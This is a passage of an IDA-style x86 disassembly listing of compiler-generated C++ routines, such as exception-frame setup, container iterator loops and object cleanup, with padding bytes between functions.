		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C7F


loc_414C34:				; CODE XREF: ___:00414C7Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C5C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C5C:				; CODE XREF: ___:00414C4Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C34


loc_414C7F:				; CODE XREF: ___:00414C32j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CC7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414CA2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414CA2:				; CODE XREF: ___:00414C99j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CC7:				; CODE XREF: ___:00414BEEj
					; ___:00414C85j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D40	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D58:				; CODE XREF: ___:00414D4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D70	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E10	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F0B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F30
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415040
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F0B:				; CODE XREF: sub_414E10+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415040
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415040
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415040:				; CODE XREF: sub_414E10+82j
					; sub_414E10+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415100	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_415100	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415140	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151C0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415230	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415230	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415270	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415270	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4152A0	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_4152A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152E0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41536D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41531F:				; CODE XREF: sub_4152E0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415351
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41535A
; ---------------------------------------------------------------------------


loc_415351:				; CODE XREF: sub_4152E0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41535A:				; CODE XREF: sub_4152E0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41531F
		pop	edi


loc_41536D:				; CODE XREF: sub_4152E0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153B0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153F0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415450	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415450	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415490	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415500	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415500	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415540	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415570	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415570	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41568D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41563F:				; CODE XREF: sub_415600+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415671
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41567A
; ---------------------------------------------------------------------------


loc_415671:				; CODE XREF: sub_415600+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41567A:				; CODE XREF: sub_415600+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41563F
		pop	edi


loc_41568D:				; CODE XREF: sub_415600+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156D0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156F0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415710	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415740	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415740	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415770	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415770	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157B0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415820	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415860	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415860	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415890	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415890	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158D0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415920	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_4159AD
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41595F:				; CODE XREF: sub_415920+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415991
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41599A
; ---------------------------------------------------------------------------


loc_415991:				; CODE XREF: sub_415920+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41599A:				; CODE XREF: sub_415920+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41595F
		pop	edi


loc_4159AD:				; CODE XREF: sub_415920+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415920	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159F0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A10	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415A30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



